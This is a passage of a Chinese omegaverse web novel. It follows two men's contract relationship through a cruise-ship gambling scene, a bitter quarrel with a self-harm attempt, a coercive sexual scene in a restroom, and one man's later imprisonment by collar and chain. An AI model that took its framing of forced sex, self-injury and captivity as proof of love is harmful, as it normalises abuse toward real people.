“哥,认真点,别走神啊!”游弋发现沈溪流有些心不在焉,眼见着一局输掉,他的零花钱也没了,就赶紧压低声音提醒。 拜托了,你仔细看看,那两人时不时还在注意着洛家的公子哥,想想先前听说过江家想要和洛家联姻的事情,没准是在故意演戏给洛少看! 沈溪流听不进去,但看到江与青赢了,祁厌一脸“宠溺”地看着他,大脑就“唰”地冷静下来。 他可不想看到这种恶心的画面,迅速观察局势,开始沉着应对。 原本轻松的局面变得严峻,沈溪流仿佛提前知道所有人的底牌,能够精准预测对方的每一步,引领着牌局的变化。将牌局节奏掌握在手里,一放一收,把其他人的好胜心勾起,看到获胜机会,又在下一刻彻底碾压下去。 数局结束,众人输得面面相觑,唯独游弋笑得比花还灿烂。 “Luck!”游弋可太爱这样的沈溪流,知道他不会要,一把搂过桌上的筹码,高兴得像是没见过几十万的孩子,“太幸运了!” 某个公子哥哀嚎道:“沈三少,你倒也不用把我们当作R国人来打吧?我筹码都输光了。” “人一生要做的三件事:远离黄赌毒!”另一个王家的少爷深沉脸说道,却忍不住忧郁。 他,为爱学法,比游弋更早一步踏上逐出家门的道路,零花钱不比游弋多多少。 “哈哈哈,周乘风,王清宪,你们别哭啊!我哥可是给你们放水了,当初那几个嚣张的R国人,可是输了上亿。”游弋嬉笑道,“区区几十万,别这么在意!” 他们其实也不过是熟人之间互相玩玩,几个人加起来也才几十万,要知道正常玩这些牌局,几百上千万乃至上亿都不在小数。 江与青一脸乐呵呵,玩得很开心,听见游弋这话,眼睛微亮:“我也听说过这事哎!” “是三年前的事情吧?我听说那几个财阀的小鬼子来的时候可嚣张了,最后输得丢脸丢到太平洋去了!我爷爷过年的时候,还专门把这事提出来,让我们好好学习了!” 说是这样说,他们家要是谁敢光明正大地迷上赌博,估计手得剁掉!当年也是对方先挑衅,沈溪流才陪他们玩几局,结果没想到把对方玩得心态崩溃。 江与青很清楚这方面的危险,毕竟不是谁都有沈溪流的脑子,冷静精准算计人心与牌局,擅长以退为进给人挖陷阱。敌人每次以为快赢了,实则都会掉入陷阱,肾上腺激素飙升,使人保持亢奋状态无法停止时,沈溪流再轻松逆风翻盘,让对方输光筹码。 江与青啧啧地看着沈溪流,相当欣赏,全然忘了易家的事,对祁厌小声说道:“沈溪流如果去钓鱼,一定是钓鱼的好手,永不空军。” 祁厌听得认真,表情却无所谓,也没有看向沈溪流,语气平和:“确实很厉害。” 沈溪流耳朵微微一动,修长的手指自然地交叉在一起,搁在腿上,听到这话,手指轻轻弹了几下。 他垂着眼帘,没有说话。游弋却笑了起来,一脸炫耀地说:“那当然啦,我表哥超厉害的好不好!不光是三年前那件事情,还有两年前那件改变国内医疗行业的……” 游弋高兴地提起沈溪流做过的事情,目光却时不时注意着其他人。 一旁的祁厌低声和江与青说话,他们就站起身,和众人打声招呼后先行离开。 心情瞬间跌落谷底,沈溪流的手缓缓收紧,眼帘底下的眸色阴晴不定。 人的忍耐是有限度的,沈溪流向来擅长克制自己,但情绪超过理智值时,就再难控制。他伸手摸了摸衣领下的项圈,总感觉有些窒息,从上游轮后,他体内的信息素就没有一刻是稳定的。 明明有和祁厌做.爱,有戴套也有没戴套,但好像无论如何都稳定不了他的信息素,是他太焦灼了吗? 沈溪流思忖着,让游弋自己去换筹码,自己也先离开了,给祁厌发信息,让他来自己房间,结果始终没有接到回复。 以往祁厌就算没有回复,也会在十分钟内抵达他身边,但今晚没有。 即使拨打电话,祁厌的电话也打不通,沈溪流坐在床边,愈发显得焦虑不安,咬着指甲,在房间里反复踱步…… 为什么没有过来? 为什么没有过来、为什么没有过来? 为什么没有过来、为什么没有过来、为什么没有过来…… 终究是没有忍住走出去,沈溪流想去找祁厌。他们的房间不在一层,来到祁厌所在的那层甲板,在中间停顿好半晌,才过去敲门,结果并没有回应。 是不在房间里,还是不想给他开门?难道说是刚才在赌场里,赢了江与青和其他人,所以祁厌不高兴了吗?还是说他又做错什么事情了?所以祁厌不想见到他…… 沈溪流垂着头思考,随着越来越多的想法涌出,他心慌意乱,神经绷得越来越紧,无意识地用力咬着拇指,连咬破手指都没有察觉到,额头浮现细密的汗珠滚落,瞳孔微微震颤…… 他也想过去找人打开祁厌的房间,想要问清楚,但走到一半,又想起祁厌曾经警告过他的话,迟疑了。沈溪流不知道自己打了多少通祁厌的电话,思考了多长时间,最终还是放弃,看了一眼时间,已经凌晨四点钟。 这才作罢,沈溪流平缓情绪,又给祁厌发了几条信息解释,依然没有收到回复,他只能先回自己的房间。 然后,他看见祁厌从江与青的房间走出,一副很疲惫的样子。 沈溪流整个人呆愣住了。 祁厌一抬眸,就见到沉默站在走廊里的沈溪流,两人静静地对视着,空气里弥漫着窒息的味道。 深夜里,一对AO情侣共处一室,他们会发生什么,不言而喻。 按照最开始说好的,祁厌其实没有给沈溪流解释的必要,但看着他此刻的表情,祁厌揉着眉心,开口道:“别误会,他身体不舒服,我只是在一旁照顾,什么都没有做。” “……” 沈溪流半晌才回过神来,垂着眼帘点头,他的表情和语气都诡异般平静:“我看得出来。” 祁厌做过以后,会是什么表情,他还是很清楚的。 “……行,既然你没有误会,那我先回房间了。”祁厌迟疑地道。他照顾突然严重呕吐的江与青大半夜,现在药还没吃,看什么都一片重影,根本没有心情,也没有力气再做别的事情。 “……” 沈溪流沉默不语,盯着他渐渐远去的背影,眼底一片阴冷晦涩。 今晚确实什么都没有发生,但过去和未来呢?沈溪流发现他再也无法继续欺骗自己,忽略掉不能忽略的事情。 祁厌和江与青现在是真正的恋人,江与青可以笑着挽住祁厌的手臂,可以随意和所有人说祁厌是他的男朋友,可以对他做任何事情,祁厌都不会生气…… 而他和祁厌现在只有一个口头上的契约,连情人都不算,和炮.友没有区别,并且就连这个契约也马上就要到期了。 祁厌不会留在他身边的,他的态度从一开始就表明了。 他只是想趁机利用沈溪流,报复易家,也报复沈溪流。现在已经报复结束,祁厌没有留在他身边的理由,只是不想破坏契约精神才坚持下去。 “那就没有犹豫的必要了。” 沈溪流回到房间,去洗了个澡,缓慢擦拭着头发,湿漉漉的黑发在滴水,苍白脸颊因热气熏出薄红,愈发显得病态,嘴角上扬,冰冷的眼底涌动着疯狂汹涌的阴暗情绪。 第87章 前世 报复 “沈溪流, 你疯了吗?” 今晚的生日宴会派对是在宴会厅举行,祁厌陪着身体不舒服的江与青待在一侧,本想着早点结束早点回去休息, 结果沈溪流和游弋上前来,本以为只是打招呼, 却突然提到了顾燕行。 这下子祁厌和江与青都愣住了, 祁厌更是下意识地看向江与青,担心他的情绪有所波动。 沈溪流注意到他的动作,神情一如既往冷淡, 一旁的游弋好奇问道:“听说你们三个是一起长大的?” “倒也不算吧,顶多是小时候玩在一起,没玩多久, 我们就各自分开了。”江与青有些诧异, 但并未太过上心,不至于连对方说到顾燕行的名字就应激。 他们闲聊几句,一开始还算正常,就随便问了几句,不知怎么就提到了当年顾氏企业制售假药劣药案,又扯到不久前顾燕行开车撞了易家夫妇的车, 导致一死一伤…… 说到这里, 江与青脸上的笑容就挂不住了, 好像猜到来者不善, 不等游弋继续开口, 就先找了个身体不适的借口去休息室里。 “现在已经在公海了,祁厌,你说沈家不会是想要对我们做什么吧?” 易扬可是娶了沈湘婷,他们搞垮易家, 沈家真的不会找麻烦吗?大概是在海上待久了,加上昨晚突发性的呕吐相当严重,江与青现在有些精神不振地胡思乱想起来。 祁厌安慰他:“别想太多,我国是属人管辖原则,不管在哪里都一样。”沈溪流还不至于做这种事情。 “也是,沈家人又不蠢。”江与青也觉得自己胡思乱想,仔细一琢磨,怀疑对方是故意给他们制造心理暗示。在真正的报复来临前,持续担忧报复什么时候发生,不断积累焦虑感,造成心理负担。 祁厌和他聊了几句,莫名想起昨晚在赌场时,牌局上的人说起沈溪流曾经做过的事情,无意识地皱了下眉头,所以沈溪流是在把他们当“鱼”钓吗? 想到这里,祁厌也有些烦躁,他没有和江与青一起离开,去吸烟室抽了两根烟,返回宴会厅,在一侧角落里找到沈溪流:“跟我来一趟。” 就剩下明天最后一天,祁厌不想继续拖下去,无论是任何事情。 他把沈溪流拉到露天甲板上,夜晚的海风有些冷,祁厌正斟酌着如何开口。 沈溪流的目光落在祁厌握住他手腕的手掌,将忘记放下的红酒杯搁在一旁的圆桌上,似笑非笑地道:“不是说好互相保持距离吗?” 盯着眼前的沈溪流,祁厌感觉到有些陌生又有些熟悉,不似凌晨时遇到的模样,更加沉重内敛,好似将一切情绪波动都掩饰得天衣无缝,唯有一双眼眸如毒蛇吐信般危险,冰冷而致命地缠绕上来,平静得可怕。 祁厌放开他的手:“沈溪流,你在生什么气?” “生气?”沈溪流慢条斯理地整理着自己的袖口,动作优雅地抚平褶皱,祖母绿宝石袖扣犹如神秘的深潭,涣着莹莹碧色幽光,“我并没有生气,倒是你显得有些烦躁,怎么,不喜欢我出现在江与青附近?” 祁厌皱了皱眉,没有回答这个问题:“你刚才为什么突然提起顾燕行?”沈溪流应该不知道顾燕行和江与青的关系,没有理由扯到他。 沈溪流轻轻一步,凑到祁厌身前,仰着脸看他,嘴角仍然带着一抹浅笑,眼底却透着深不见底的寒意,仿佛看穿祁厌的想法。 “祁厌,这个世界没有真正的秘密,只要愿意调查,就能够知道,江与青喜欢顾燕行对吧?” “……”祁厌沉默一瞬,眼神渐渐变得冷漠起来,“这和你没有关系,别靠近他。” 怎么会没有关系?我喜欢你,你喜欢江与青,江与青喜欢顾燕行,顾燕行却死了,留下这么个大麻烦。 沈溪流仔细打量着祁厌的表情,眼底的戾气一闪而过:“别靠近他?祁厌,你是以什么身份说出这种话?” “如果我非要靠近他,你又能怎么样?”沈溪流嗤笑道。 沈溪流熟悉的傲慢神情和周身压迫感让祁厌感到窒息,仿佛又回到了那种难堪的境地,脖子被一只无形的大手扼住,每一次呼吸都变得极其艰难。 “沈溪流,你非要闹得这么难看吗?”祁厌厌烦到不想看他的脸,靠在栏杆上,看向大海,从兜里取出烟,有些烦躁地点燃。 “咳咳!”烟味被风吹到沈溪流的脸上,他忍不住捂着口鼻,咳嗽几声,明显闻不了烟味。 祁厌瞥了他一眼,咬着烟,不耐烦地往右边挪了两步,让烟吹送到另一个方向。 沈溪流总算能喘口气,他盯着祁厌的背影,神情缓和一瞬,便继续道:“祁厌,这话你应该对自己说,这段时间还没闹够吗?难道我就真有这么对不起你吗?” “你要报复我,我任由你戏弄。你想对易家动手,偷走资料,把我支开,我有说过什么吗?你以为我真的什么都不知道吗?我没有这么蠢,如果不是我故意配合,你以为易家的倒台会这么顺利吗?”他在祁厌眼里有这么蠢吗?以为把他支到国外,监听他的手机,就能阻碍他与国内的联系? “祁厌,除了你,没有人能利用我,也没有人能在利用我之后,还全身而退。” 沈溪流本想维持着冷静诉说,但心底的怒火让他无法自持地泄露出一抹怨恨。沈溪流是真的不明白,在他的视角里,他只做错两件事,一是合同期间,对待祁厌的态度恶劣,漠视、伤害他的感情;二是成了毁坏他右手的帮凶。 重新开始以后,沈溪流自认自己的姿态摆得够低,无论祁厌怎么糟践报复,他都没有怨言,无数次忍耐,眼睁睁地看着他和别人亲亲我我,还在拼命控制情绪,就生怕伤害到祁厌。 可是三个月过去了,祁厌除了利用他还是利用他,明天期限一到,沈溪流敢肯定,祁厌绝对永远不会再回头看他一眼! “祁厌,现在除了手,我并不欠你什么。”沈溪流拿起自己刚才放的红酒杯,将红酒洒入海里。咔嚓一声,他直接敲碎杯子,玻璃碎片飞溅落下,酒杯边缘变得尖锐,“如果你的手好不了,大不了我赔你一只。” 反应过来的祁厌迅速抓住他的手腕,抢过破碎的红酒杯,眼底还残余惊怒:“沈溪流,你疯了吗?!” 一言不合就要自残,这家伙现在不怕疼了吗? “我很正常。”沈溪流神色冷静地看着他,眼神如蛰伏的毒蛇般阴狠,如果祁厌没有及时阻止,他会毫不犹豫将破碎的杯子扎入右手里,还祁厌一只手。 “不,你脑子有病。”祁厌深呼吸,踩灭掉在地上的烟,感觉后背一阵发凉,“沈溪流,你别闹了,就不能体面一点地结束吗?如果你不甘心我这段时间对你的利用,想要报复我,我也随你动手,别闹到这种地步,太难看了……” “祁厌,你还要自欺欺人到什么程度?”沈溪流受够了他的逃避,冰冷地凝视他,“你明知道我喜欢你,你明知道我不会报复你,你明知道我只是想要和你在一起,为什么就不可以给我一个机会?我们之间明明没有那么多问题,只要你愿意和我在一起,所有问题都能迎刃而解!” “……” 祁厌好像被他的话冻住了,什么话都说不出来。 见状,沈溪流缓和下来,收敛强势的气场,语气变得柔和,小声地对他说:“祁厌,你明明知道的,我只喜欢你一个。就连当初我在宴会上说的话,也只是愤怒下说出来的假话,我从没有把你当作……” “为什么?”祁厌咬字清晰地重复这几个字,打断沈溪流虚伪的话,“沈溪流,你问我为什么?” 他盯着沈溪流,眼神逐渐变得恐怖,让沈溪流无端感到一丝恐惧,内心在疯狂敲响警报声,让他最好赶紧逃走,千万不要再听下去,否则他会后悔的,偏偏沈溪流一步都难以动弹。 “哈。”祁厌笑了一声,“沈溪流,你居然好意思问我为什么?” “怎么,难道这段时间,你连我对你有多厌恶都不知道吗?” 祁厌不再选择后退,他单手撑在栏杆上,弯着腰凑近,好笑地打量着沈溪流的脸。 “沈溪流,你知道我每次和你在一起的时候,有多恶心吗?好几次差点吐出来,虽然你脸长得不错,总是一副清高忍耐的姿态,很容易让人产生征服欲,但我一想到你曾经对我做的事情,就挺没兴致。” “要不是你一开始就给我打了一千万,让我不好意思毁约,再加上还想从你身上拿到易家的资料,我都坚持不下去。而且从中间起,就要装得一脸温柔地哄着你,装得超累,真的很想放弃。而且你不会以为报复以后,我就会原谅你吧?” 祁厌觉得可笑,但盯着他那一脸不可置信的表情,露出被愉悦到的表情:“别那么天真了,沈溪流,伤害是真实存在,没那么容易消失。你曾经拿我当易扬的替身,不管真假,都把当时的我恶心到冲进厕所里吐了一场,你猜猜我当时的心情是怎么样?” 他说的话太难听,也太恐怖,尊严被刺伤导致难堪的同时,又感到恐惧,而且沈溪流从未被祁厌用这么嫌恶的表情盯着。寒意顺着骨髓蔓延到四肢百骸,整个人都僵硬在原地,沈溪流下意识摇了摇头。 他恐惧地想要退后,后腰却抵住栏杆,无路可退。 “祁厌,别说了,别说了……” “别这样,难得我向你展露心声。”祁厌笑笑,将他困在手臂中间,轻声说道,“当时真的是想要把你弄死的心都有了。” “!”这话仿佛一记重锤,狠狠砸在沈溪流的心口上,让他大脑一片空白,指尖发凉。 祁厌继续说,犹如爱人在耳边细语:“后来在酒吧的时候,你派人将我压制在地上,帮着易扬打伤我,毁掉我一只手的时候,你再猜猜我当时的想法?” “不是的!不是的!不是的!” 沈溪流没想到祁厌会用这么充满浓烈厌恶的眼神盯着他说话,手脚不受控制地颤抖,连情绪也开始失控,不知所措地急忙解释。 “我没想过要伤害你的,我当时是想制止住你们的,没有让保镖对你们下重手,只是把你们拦下来。而且因为你当时打得太疯,他们担心受伤,所以才会将你压制住,我后来想阻止,可是颈环突然向腺体输入大量抑制剂导致我一时之间动弹不了,等恢复的时候,易扬已经朝你下手……” “哈哈,好多理由啊。”祁厌没忍住笑得灿烂,“反正千错万错都不是你的错,就对了。” “没事,别那么着急,其实过去的事情都过去了,没必要一遍遍重提,要不然我又得被折腾一顿了。过去造成的伤害永远不会消失,你也别在意,反正我无法原谅你。” 祁厌伸手温柔地抚了抚沈溪流凌乱的黑发,一副深情缱绻的模样,说出来的话,却无比尖锐冰冷。 “我知道的,其实你一直都看不起我,嫌我脏,所以当初才总是摆出那副无视人的傲慢姿态。无论做什么,都没必要和我商量,也不愿意和我碰触,没有兴趣和我打交道,就连我调的酒也可以不客气地泼到我的脸上,反正合同结束,我这种人永远不会和你有任何交集,没有利益往来。” 他的声音很温柔暧昧,却字字扎心,如同一盆冷水,浇在沈溪流的身上,让他浑身湿透,寒意彻骨,恐惧和痛苦几乎将他淹没。 沈溪流想反驳,但张开嘴时却无力反驳,因为祁厌说得都是真的,祁厌什么都知道,只是一直没有揭穿表面那层虚伪的幻象,给彼此保留着体面…… 祁厌还在慢悠悠地说着:“也亏你现在能控制住自己的情绪,让我随意玩弄,什么都愿意配合,这谁能想到你一开始抗拒的样子?哈啊,难道就这么喜欢我吗?真没想到以前总是一副清高傲慢的沈三少喜欢上alpha以后,会变得这么随便,让人意外。” “够了!别说了!”太难听了!沈溪流浑身气得发抖,祁厌现在的姿态,和以往他猜想的那种人渣无赖几乎一模一样,让人反感厌恶…… “其实说到底,沈溪流,你也好不到哪里去,整天一副清高的样子,结果一到床上,就变成那副口口的样子。” 祁厌没有停止,他凑近沈溪流的耳边,将两个字念得轻缓暧昧,温热的气息让敏感的耳边泛红。 沈溪流难堪到了极点,他的情绪完全被祁厌掌控,会为过去的事情自责悔恨,也会为祁厌故意践踏他自尊的话感到恶心,指甲深深陷入手心里,仿佛连尊严都被祁厌踩在脚下。 “怎么这么容易哭啊?这些话有这么难听吗?在我看来,没有比给易扬当替身更恶心,你果然还是养尊处优惯了,我生活的环境里,比这些话更糟糕的话多得是。” “沈溪流,其实你的想法是对的,我们确实不属于一个世界。沈溪流,你应该继续保持以往清高傲慢的姿态,冷漠地注视着我,就像是在看小丑自以为是地拼命逗你笑。” 祁厌垂眸盯着沈溪流不知不觉掉出来的泪水,无视掉起伏的心情,无赖般地说:“果然,你再厉害也只是个软弱到需要保护的omega吗?” 注意到什么,他拉开沈溪流的衣领,看着不断闪烁红灯的颈环,神色晦暗:“连信息素都失控成这个样子,真惨。” “看来又得让我帮你安抚了,走吧,赶紧做一次,免得失控。” “别哭得这么厉害,你应该知道我本来就是这种人,你瞧不起是对的。” “我们这种人确实很糟糕,喜欢玩弄人心。你钱给到位了,该做的我都会做好。” “你要是觉得我说的难听,报复太过了,想要对我做什么,契约结束以后,那也随便你。” 第88章 前世 他想活着 红灯闪烁得越来越厉害, 连回房间的时间都没有,休息室又被其他人占用,祁厌观察以后, 只能将“维修中”的牌子放到门口,半搂着沈溪流进了厕所。 信息素抑制颈环的红灯从未闪成这个样子, 看得人有些触目惊心, 沈溪流看不见,但他能够感觉到身体失控成什么样子。 “不要,我不想在这里……” 沈溪流急促地喘着气, 忍不住露出嫌恶的表情。虽然表面很干净,看不出有什么,但是一想到这种地方是做什么的, 到处都是细菌, 他就犯恶心。 “别那么挑剔,再拖下去,就超出十分钟了。不想被人发现你处在发情期的样子,就老实一点。” 祁厌将沈溪流按在门板上,观察着颈环的情况,看着红灯不断闪烁, 连后颈皮肤都被磨红, 有些危险。 于是祁厌索性伸手去解开沈溪流的皮带, 金属扣发出咔哒一声, 被祁厌轻松解开, 随着裤子落在地面时,又发出一声清脆的声音。 沈溪流是想挣扎的,但他的挣扎聊胜于无,甚至被祁厌用轻浮的语气说:“欲拒还迎吗?” 这话说出口, 他自己反射性地皱了下眉,好恶心。 “祁厌,你别太过分!” 今夜发生的事情太多,沈溪流好像还没能反应过来,思绪已经被信息素影响到,既愤怒又愧疚,各种情绪交杂在一起。 这导致沈溪流的动作幅度停顿一瞬,被祁厌抓到机会,将双手束缚到后背,于是他不得不趴在厕所隔板上,向来傲慢的脸露出一副恶心的表情。 “正常来说,你现在是在发情期,不过因为假性标记的影响,你现在应该是处于假性发情期,稍微做几次,体内的信息素应该就能恢复平衡。” 祁厌冷静地观察沈溪流后颈的情况,对假性标记的了解远比以前更多,信息素应该有在溢出,但他察觉不到。 “看来这次得进入生殖腔……”祁厌这话刚一说出口,就感觉到沈溪流的身体一颤,他猛地回头,泛红的眼睛死死盯着他。 “祁厌,你是想要侮辱我吗?” 这是难以形容的眼神,既有愤怒又有恐惧、难堪、羞耻、痛恨、厌恶…… 处在发情期的omega一旦被alpha进入生殖腔,并且弄在里面,那么将会有98%的可能性被alpha永久标记。 所以,沈溪流大概是愤怒祁厌会用这种手段折辱他,更恐惧在这种肮脏的地方被喜欢的alpha强行永久标记…… 但他也知道,祁厌一旦真的将他标记掉,就再也无法逃离他身边,彻底属于他了,所以他又可悲地感觉到喜意。 然而,祁厌很平静,甚至有心情对他笑道:“别担心,即使如此,你也不会被我标记。” 你这话是什么意思?!沈溪流瞪大眼睛。 然而祁厌没有解释:“赶紧吧,毕竟万一有人来了,就糟糕了。” 沈溪流从未想过自己会被人按在厕所隔板上做这种事情,即使对他做这种事情的人是喜欢的alpha,他也不想这样做。 太糟糕了! 太糟糕了!太糟糕了!太糟糕了! …… ………… 祁厌的手机铃声突然响起,沈溪流吓一跳,差点跪倒在地,已经被解开的手抵着隔板。 “别紧张,是手机铃声。”祁厌扶住他。 手机连续响了三次,前两次是来电铃声,第三次是讯息提示音祁厌前两次都没有接,直到见沈溪流的情况还在缓慢恢复,便拿出手机,打开讯息。 “……” 额头抵着隔板,恢复理智的沈溪流看到他这个动作,再也忍不住了,伸手打掉祁厌手里的手机。 “啪”的一声掉落在地,目光落在手机屏幕上,当看清楚发讯息的人是谁时,沈溪流瞳孔一缩,大脑发出一声轰鸣。 忍了又忍,终究是情感盖过理智,沈溪流没能忍住心底的愤怒与恨意,用力推开祁厌,给他一拳。 “祁厌,你还想将我作践到什么地步?”近乎咬牙切齿地吐出这句话,沈溪流的四肢发软不受控制,颤抖着差点跌倒,只能抓住门把,支撑起来,避免跪在肮脏的地上。 他捂着自己的小腹,又撑又涨。眼泪止不住地从眼眶蔓延出来,沈溪流这辈子都没有这么狼狈难堪过,他想过祁厌可以随意报复他,但绝对不能做出这种事情,太恶心了! “……看来你已经恢复得差不多了。”半晌,祁厌不着痕迹地收回下意识伸出的手,声音淡淡地响起。 沈溪流抬头看他,与面无表情的祁厌对视着,咬紧牙关。 祁厌没有生气,非常平静:“有这么生气吗?只是一件小事,而且我也是为了帮你,觉得难堪?恶心?那就对了,沈溪流,我们的想法并不一样,无论各方面的差距都很大,你没必要强求。” “我们钱货两清了,其实你也没那么喜欢我,或许只是好胜心作祟,又被假性标记影响你的思考……” “我先出去了。” 祁厌说完,捡起手机,就真的推开厕所隔间的门离开,没有再看沈溪流一眼。 沈溪流慢一拍地反应过来,现在的时间已经过了零点,今天是契约的最后一天。以后祁厌再也不用搭理他,也不用和他发生这种事情…… 他们,大概彻底结束了吧。 甚至没有开始,只是保持一段扭曲的关系,就结束了。 这个认知让沈溪流一下子慌了神,原本感觉到的羞辱与愤怒被茫然无措取代,不久前祁厌说的诛心话语也仍然在脑海里反复回荡着,恐惧如黑暗般侵袭,几乎将他整个人吞没。 不能就这样彻底结束! 绝对不能! 否则他死也不甘心!沈溪流阴郁的眼神透露着病态般的偏执,他努力调整好自己。 不知道过了多久,他才恢复正常,整理好着装,缓慢地离开这个糟糕的地方。 表情一片空白。 走出厕所的时候,祁厌早已不见身影,沈溪流站立不动,好半晌才感到一阵侥幸。 幸好祁厌不是把他拉进alpha的厕所里,幸好没有人在这个时间点出现在这里,要不然可能会被人看见…… 沈溪流只得尽快离开这个难堪的地方,却连步子都不敢迈太大,生怕祁厌弄在他身体里的东西流出来…… 等沈溪流走以后,放在厕所门口,写着“维修中”的牌子被一只修长的手捡起,放回原位。 等抬头看见厕所上的男性omega符号,祁厌好像被烫了一下,赶紧拉开距离,免得被人误会。 盯着远去的身影,他保持着距离,一直看到沈溪流的身影慢腾腾地进入电梯里,才乘坐另一部电梯上楼。 这一次,应该能够结束了吧? 沈溪流那么骄傲的人,再怎么也忍受不了在那种地方被他做这种事情吧? 真糟糕啊。 祁厌慢一步地走出电梯,看着沈溪流踉跄着回到房间里,他现在根本无心注意后面是否有人,开了门就赶紧回去,一心想要换掉衣物,好好地洗个澡…… 确定对方安全回屋后,祁厌才转身回电梯,按了自己房间所在的楼层,回房间洗完澡以后,许久才想起江与青的讯息,给他回复。 “下手真狠,好在手机质量不错。”祁厌摇了摇头,正准备吹头发,一张熟悉的“鬼脸”猛地突袭到他的眼前。 【过得很开心?】“顾燕行”阴森森地说。 祁厌皱了下眉头,并未被吓到,反而想起自己忘记喝药了,于是转身去床柜拿药物。 【我劝你最好别吃。】“顾燕行”跟了过来,见他不听,还倒了一杯水,正要一口闷的时候,他说,【祁厌,你先看看阳台外面的是谁,再决定吃不吃吧……】 祁厌原本不想搭理他的,不过还是下意识地看了一眼,也就是这一眼,拿在手里的一次性杯子直接滑落下去,泼翻的水淋湿他的小腿和脚。 但祁厌仿佛感觉不到一样,直愣愣地站在原地,望着阳台处——一个熟悉又温柔的女人正坐在外面。 她拥有着一双和祁厌几乎一模一样的桃花眼,流露着温婉的气质,犹如百合花般优雅美好: 【衍之,过来。】 她朝他招手,像在招呼自己的孩子一样。 一如最初的记忆里,她给他留下的美好形象。 而不是后来发疯地抓着他,愤怒地质问着:“为什么?为什么?为什么连你也背叛我?!” 眼前的画面太过虚幻美好,导致祁厌下意识地朝阳台走了过去。 “顾燕行”满意地笑了起来:【对,只要别吃药,你就可以永远看见我们。】 然而,只走到阳台的落地窗前,祁厌就停下了脚步。 她时常愤怒之后,又捂脸哭诉,如果没有他就好了;时而又焦虑地到处找着他,抱着他说只要有他在身边,一切都无所谓;时而又冷漠地问他,为什么不去死呢;时而恐惧地说你怎么和你爸爸那个畜生长得越来越像了,以后肯定会变成他那样的人;时而又温柔地问,衍之,你怎么还没死…… 祁厌的厌,是她对他和易鸿立的厌恶。 第一次恢复成母亲平时的温柔模样时,就带他去改名,最开始是“易厌”,因为她连姓氏都不想给他。 直到很久之后,他才被那场车祸里侥幸活下来的外婆带去改姓氏,成了祁家的人,变成祁厌,与易鸿立彻底脱离了关系。 祁厌看着窗外记忆里的母亲,轻声道歉:“对不起,当初丢下你……” 多年来,他一直在想,如果当初没有偏信易鸿立,没有在妈妈拼命地来找他时,认不出妈妈,还对她感到恐惧,并且甩开她的手,妈妈是不是就不会病重成那个样子? 祁厌知道,他是压垮夏云惬的最后一根稻草,父母被丈夫害死,自己被丈夫关起来,把希望寄托在了孩子身上,结果连唯一的孩子都不认自己。 这对于一个本就神经敏感、心思脆弱、体弱多病的女人来说,是非常可怕的打击。 祁厌曾经无数次后悔,如果那时候他拉住妈妈的手,叫住她,一切会不会就变得不一样了? 但世界上没有后悔药可以吃,曾经的错误也是无法改变的,破镜不会重圆…… 【……】 “母亲”只是温柔地看着他,没有“顾燕行”那么聒噪。祁厌走回房间,无视“顾燕行”的劝阻,重新打了一杯水,把药喝了进去。 祁厌不想死,也不打算死,他想好好活着,所以不会停止吃药。 第89章 前世 偏执 这是待在游轮的最后一天, 也是契约的最后一天。 只要明早回到岸上,就能结束了。 江与青的状态比昨晚变得更精神,祁厌放下心, 只要没有被沈溪流和游弋的话影响到,那就好, 等下游轮后, 得让江与青去医院好好检查一番。 祁厌在晚餐的时间,才在附近的一家餐厅里看到沈溪流的身影,表面看起来和以前没有两样, 依然一副冷冷淡淡的模样,仿佛昨晚什么都没有发生,丝毫没受到影响。 看来他应该是调节好了, 不会再来找他。 毕竟受到那种程度的羞辱, 以沈溪流的脾气和性格,等身体状况稳定,清醒过来以后,或许会对他展开报复。 祁厌已经做好准备,等下了游轮以后,不管沈溪流之后怎么报复, 他都会接着。 但祁厌怎么都没想到, 沈溪流的报复会来得这么快。 …… 清醒过来的时候, 祁厌人已经不在游轮上, 身处一间陌生宽敞的房间里, 窗帘被拉着,从缝隙透露出几缕光线,隐约能够看个大概,床、沙发、桌椅、书柜……没有太多东西, 屋内的布局看似简约冷淡,实则低调奢华。 祁厌撑起身,就听见一阵清脆的金属碰撞声,脖子明显传来束缚感,他愣愣地低头看去——一条长长的链子连接到他脖子上的项圈,连接着床头,将他困在这间房间里。 “……” 祁厌皱了皱眉头,他的记忆仍停留在沈溪流在期限到来前找他,他们最后一次做那些事情,然后记忆就突然中断了…… 就在他试着回忆时,门被打开,一道熟悉的身影走了进来,打开屋内的灯。 祁厌总算能够看清楚,他盯着走进来的人,熟悉的傲慢冷漠面容,左眼下的三颗泪痣格外张扬。沈溪流穿着一身浅灰色的宽松慵懒休闲装,衬托得身形越发清瘦修长,他的表情淡漠又阴郁,唯有一双眼睛藏着冰冷寒意和……偏执。 “这几天天气不太好,看样子要下雨了。”沈溪流走去拉开落地窗的窗帘,让光线进来,他的声音很平静,就像在和祁厌闲聊一样,“不过没关系,只会下一周雨。等雨结束了,太阳就会出来,这边的气候大多数很好。” 窗帘被拉开,外面是一个宽敞的阳台,阳台外的天色阴沉昏暗,看起来像是狂风暴雨即将来临前的征兆。如果祁厌站在窗边眺目看去,隐隐还能看见海平线,明显不太寻常,他们并未回到S市。 “叮当、叮当!”祁厌拧着眉头,没有和他说话,伸手扯了扯锁链,发出清脆的撞击声,回荡在房间里。 沈溪流听见声音,侧身看向他,嘴角微微上扬,冷冽的眉眼比以往每一刻都更柔和:“祁厌,你不用试了,锁链很结实的,就算是用锯子也弄不开,没有钥匙是绝对无法打开的。” “……” 祁厌顿住了,他抬眼盯着沈溪流,讥笑道:“所以沈溪流,你这是打算把我当狗养吗?这报复还真是厉害。” “为什么会这么想?”沈溪流很平静,眼底汇聚着晦涩的阴郁,“我没想过要报复你,只是不想让你离开我而已。” 祁厌皱眉道:“我也说过,你并没有那么喜欢我,沈溪流你清醒一点,别将占有欲和假性标记的影响当□□……” 沈溪流打断他:“祁厌,你够了!为什么总是要否认我对你的喜欢?凭什么我就不能喜欢上你,不能爱上你,你不用再重复游轮上说过的话,试图来激怒我!除了你,没人能把我逼成现在这个样子,就算是假性标记和信息素都不行!” 看似冷漠平静的外表下涌动着狂潮,沈溪流的眼底泄露出一些神经质,情绪比以往来得更加激烈。 “沈溪流,你觉得你现在是正常人的样子吗?”祁厌烦躁地抓了抓头发,翻开被子,坐到床边,抬眼盯着他,“你要报复,也该用正常的手段,而不是把人囚禁起来!” 他不知道自己睡了多久,看外面的天色,应该已经超过十二小时,没有吃药导致心情无比的烦躁。祁厌感觉到自己的心跳在剧烈加速,神经绷紧,完全没有心情,也没有心力安抚神经质的沈溪流。 